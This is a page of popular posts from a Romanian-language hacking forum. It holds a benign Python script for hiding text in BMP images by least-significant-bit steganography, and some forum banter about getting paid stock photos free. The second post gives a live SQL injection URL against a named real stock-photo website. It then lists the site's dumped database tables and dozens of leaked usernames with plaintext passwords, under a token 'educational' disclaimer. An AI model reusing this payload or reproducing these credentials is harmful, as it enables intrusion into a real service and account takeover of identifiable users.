Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 04/06/10 in all areas

  1. http://codepad.org/QVfDwe9L #! /usr/bin/env python3.1 # 05.04.2010 <> 06.04.2010 | cmiN # Text In Bmp (console) import sys from hashlib import md5 class Image: def load(self, path): with open(path, "rb") as file: buffer = file.read() self.bfType = buffer[0:2] if self.bfType != b"BM": raise Exception("not a bitmap") self.bfSize = buffer[2:6] self.bfReserved1 = buffer[6:8] self.bfReserved2 = buffer[8:10] self.bfOffBits = buffer[10:14] self.biSize = buffer[14:18] self.biWidth = buffer[18:22] self.biHeight = buffer[22:26] self.biPlanes = buffer[26:28] self.biBitCount = buffer[28:30] if baconvert(self.biBitCount) != 24: raise Exception("not 24-bit") self.biCompression = buffer[30:34] self.biSizeImage = buffer[34:38] self.biXPelsPerMeter = buffer[38:42] self.biYPelsPerMeter = buffer[42:46] self.biClrUsed = buffer[46:50] self.biClrImportant = buffer[50:54] self.bHeader = buffer[:54] self.bMatrix = list(buffer[54:]) def create(self, path, buffer): with open(path, "wb") as file: file.write(buffer) def process(digsig, mode, infile, outfile=None, string=None): bmp = Image() bmp.load(infile) bmp.width = baconvert(bmp.biWidth) bmp.height = baconvert(bmp.biHeight) bmp.index = 0 bmp.count = 0 rem = (bmp.width * 3) % 4 if rem: bmp.padding = 4 - rem else: bmp.padding = 0 if mode == "write": bits = str() for char in md5(bytes(digsig, "ascii")).digest(): bits += bin(char).replace("0b", "").zfill(8) bits += bin(len(string)).replace("0b", "").zfill(16) for char in string: bits += bin(ord(char)).replace("0b", "").zfill(8) if len(bits) > bmp.width * bmp.height * 3: raise Exception("string too long") for bit in bits: char = bin(bmp.bMatrix[bmp.index]) char = int(char[:-1] + bit, 2) bmp.bMatrix[bmp.index] = char bmp.index += 1 bmp.count += 1 if bmp.count == (bmp.width * 3): bmp.count = 0 bmp.index += bmp.padding bmp.create(outfile, bmp.bHeader + bytes(bmp.bMatrix)) elif mode == "read": bits = bitjoin(bmp, 128) if bytes([int(bits[i:i + 8], 2) for i in range(0, 128, 8)]) == md5(bytes(digsig, "ascii")).digest(): nr = int(bitjoin(bmp, 16), 2) * 8 bits = bitjoin(bmp, nr) string = "".join([chr(int(bits[i:i + 8], 2)) for i in range(0, nr, 8)]) print(string) else: raise Exception("invalid signature") else: raise Exception("invalid mode") def bitjoin(bmp, nr): bits = str() for i in range(nr): bits += bin(bmp.bMatrix[bmp.index])[-1] bmp.index += 1 bmp.count += 1 if bmp.count == (bmp.width * 3): bmp.count = 0 bmp.index += bmp.padding return bits def baconvert(buffer): return int("".join([hex(char).replace("0x", "").zfill(2) for char in reversed(buffer)]), 16) def main(args): usage = """\t\t Text In Bmp 1.0 \t Usage: source.ext digsig mode infile [outfile text] Where digsig is a digital signature string mode can be write or read infile is a valid 24-bit bitmap image outfile is the output image name (used with write mode) text is the string that will be written in image (used with write mode) \t Example: tib.py cmiN write image1.bmp image2.bmp http://rstcenter.com \t tib.py cmiN read image2.bmp""" try: print("Please wait...") if len(args) == 4: process(args[1], args[2], args[3]) elif len(args) == 6: process(args[1], args[2], args[3], args[4], args[5]) else: print(usage) except Exception as message: print("An error occurred: {}".format(message)) except: print("Unknown error.") else: print("Ready!") if __name__ == "__main__": main(sys.argv) Dupa cum spune si denumirea, cu acest script poti ascunde text in imagini de tip 24-bit bmp. Voi reveni mai pe seara cu un tutorial facut frumos in flash care explica mai multe si se foloseste de acest script. Metoda folosita este LSB iar bitii provin din octeti direct din plain text, nu am folosit nicio encriptie/codare in schimb am folosit un md5(semnatura) pentru a sti daca in imaginea respectiva a fost scris ceva si daca coincide. Ca de obicei aceeasi versiune de Python: 3.x dupa cum se vede si la inceputul script-ului.
    1 point
  2. Sa fie ceva legat de chestia asta metoda aia ultra secreta a celor 3 magi de la rasarit? .....probabil nu vom afla niciodata! tadaaaaaamm..... http://www.dreamstime.com/winners.php?assignmentid=61+and+1=NULL+uNIon+selECt+1,2,3,4,5,6,7,concat%280x5b,0x4d,0x61,0x63,0x68,0x69,0x6e,0x65,0x3a,0x20,@@version_compile_machine,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x4f,0x53,0x20,0x3a,0x20,@@version_compile_os,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x44,0x42,0x20,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3a,0x20,0x20,@@version,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x43,0x6f,0x6d,0x6d,0x65,0x6e,0x74,0x3a,0x20,@@version_comment,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x20,0x55,0x73,0x65,0x72,0x3a,0x20,system_user%28%29,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x48,0x6f,0x73,0x74,0x6e,0x61,0x6d,0x65,0x3a,0x20,@@hostname,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x44,0x61,0x74,0x61,0x44,0x69,0x72,0x3a,0x20,@@datadir,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x42,0x61,0x73,0x65,0x64,0x69,0x72,0x3a,0x20,@@basedir,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x74,0x6d,0x70,0x20,0x44,0x69,0x72,0x3a,0x20,@@tmpdir,0x20,0x5d,0x20,0x2d2d,0x2d,0x20,0x5b,0x20,0x44,0x61,0x74,0x61,0x62,0x61,0x73,0x65,0x3a,0x20,database%28%29,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x74,0x6f,0x72,0x61,0x67,0x65,0x20,0x45,0x6e,0x67,0x69,0x6e,0x65,0x3a,0x20,@@storage_engine,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x51,0x4c,0x20,0x57,0x61,0x72,0x6e,0x69,0x6e,0x67,0x73,0x3a,0x20,@@sql_warnings,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x65,0x72,0x76,0x65,0x72,0x20,0x49,0x44,0x3a,0x20,@@server_id,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x4c,0x69,0x63,0x65,0x6e,0x73,0x65,0x3a,0x20,@@license,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x65,0x63,0x75,0x72,0x65,0x20,0x41,0x75,0x74,0x68,0x3a,0x20,@@secure_auth,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x45,0x78,0x70,0x69,0x72,0x65,0x20,0x4c,0x6f,0x67,0x73,0x20,0x44,0x61,0x79,0x73,0x3a,0x20,@@expire_logs_days,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x4c,0x6f,0x67,0x20,0x57,0x61,0x72,0x6e,0x69,0x6e,0x67,0x73,0x3a,0x20,@@log_warnings,0x20,0x5d,0x20,0x20,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x20,0x54,0x69,0x6d,0x65,0x20,0x5a,0x6f,0x6e,0x65,0x3a,0x20,@@system_time_zone,0x5d,0x20,0x2d,0x2d,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x54,0x69,0x6d,0x65,0x20,0x5a,0x6f,0x6e,0x65,0x3a,0x20,@@time_zone,0x20,0x5d%29,concat%280x3c,0x69,0x6d,0x67,0x20,0x73,0x72,0x63,0x3d,0x22,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x69,0x6e,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x2e,0x72,0x6f,0x2f,0x62,0x6f,0x61,0x72,0x64,0x2f,0x67,0x72,0x61,0x70,0x68,0x69,0x74,0x65,0x2f,0x6d,0x69,0x73,0x63,0x2f,0x68,0x65,0x61,0x64,0x65,0x72,0x5f,0x6c,0x6f,0x67,0x6f,0x31,0x2e,0x67,0x69,0x66,0x22,0x3e%29-- atentie! ne cerem scuze pentru continutul publicitar. multumim pentru intelegere Tabele: [ abtesting ] [ additional_requests ] [ alliance_myspace ] [ api_changes ] [ api_requests ] [ api_users ] [ articles ] [ assignment_votes ] [ assignments ] [ assignments_images ] [ bad_words ] [ blog_articles ] [ blog_cloud ] [ blog_comments ] [ blog_credits ] [ blog_images ] [ blog_ratings ] [ blog_send ] [ blog_subscription ] [ blog_tags ] [ cached_categimgs ] [ cached_search2 ] [ cards_fraud ] [ cart ] [ categories ] [ categories_new ] [ categories_translations ] [ chase ] [ chasetorecover ] [ chasetorecoversubscriptions ] [ check_buyers ] [ clients ] ----> fix 2.183.798 useri inregistrati [ clients_changepassword ] [ clients_details ] [ clients_details2 ] [ clients_downloads ] [ clients_facebook ] [ clients_ftp ] [ clients_ftp_temp ] [ clients_general ] [ clients_inactive ] [ clients_log_money ] [ clients_log_money_backup ] [ clients_regspay ] [ clients_regspay_tmplb ] [ clients_search ] [ clients_settings ] [ clm2 ] [ collection_images ] [ collections ] [ collections_views ] [ continents ] [ countries ] [ credits ] [ credits_campaigns ] [ credits_conversions ] [ crons ] [ currencies ] [ currencies2 ] [ debug_info ] [ departments_emails ] [ dictionary ] [ domains ] [ donate_free_image ] [ download_searches ] [ email_changes ] [ email_confirm ] [ email_image ] [ emails ] [ emails_notification ] [ emailsa ] [ errors ] [ etr ] [ event ] Parolele stocate plain-text (cateva exemple): username --- password Simon pass2005 Nash 751108 Achilles mtl@!121 Bogdan eritanaka Naimanak 171061 Awdavis715@hotmail.com treman1 Tano dj008 Pennvalley pennvalley Dream-maker kodakcolor Cozy chachi13 Lenee444 btl4321 Teodor cl19au7d Mikidutz 112678 Ronbloom iphoto Haras03 rion819 Anilkalarikal 0123456789 Intuitivmedia podagxyz Acryl epsilon Silviu1977 1977andromeda Mummu gorthob Robminton sherlock Friik bulinutza Sally bulinutza Odm deutschland Hilaryshure hilandhol Marktolleshaug primary Hvmodi mahesh555 Bleusky october2 Jlail sophie10 Ettienne12 Nadine1 Tomho dreamstime Kapsjon acevedo Jack schiffer 28n7Nfbi Nsapromo bailey Dirtypixelkid 1234 Lgarnand rbbrchckns Pedrocunha superhomem Gaffera forte Kevinzim annie123 Nicku nicolae Chris2k 90op3212 Nilo painkiller Robertsmith test1 PS:Acest post are doar scop informativ si educativ. Nu faceti alte tampenii! Sunteti raspunzatori pentru faptele voastre.
    1 point
  3. "Buna Joanna, Da-mi add pe y!M: O sa incerc sa te *lamuesc*. Toate cele bune, Pax." Daca nu as fi citit in spatiul din sigul tau as fi zis ca e o greseala...daca pe un site de hack tu esti asa disperat ..atunci serios de compatimesc pt viata reala ....or te-ai intalnit cu Ciomu or ai facut intrecere cu nenea de 300 d kg la greutate pt ca atitudinea ta e definitia frustrarii. Pt ceilalti recititi postul meu, daca cineva imi poate spune cum se pot descarca stock photos de pe siteurile cu plata, gratis, atunci imi poate face comanda de design sau video gratis.
    1 point
×
×
  • Create New...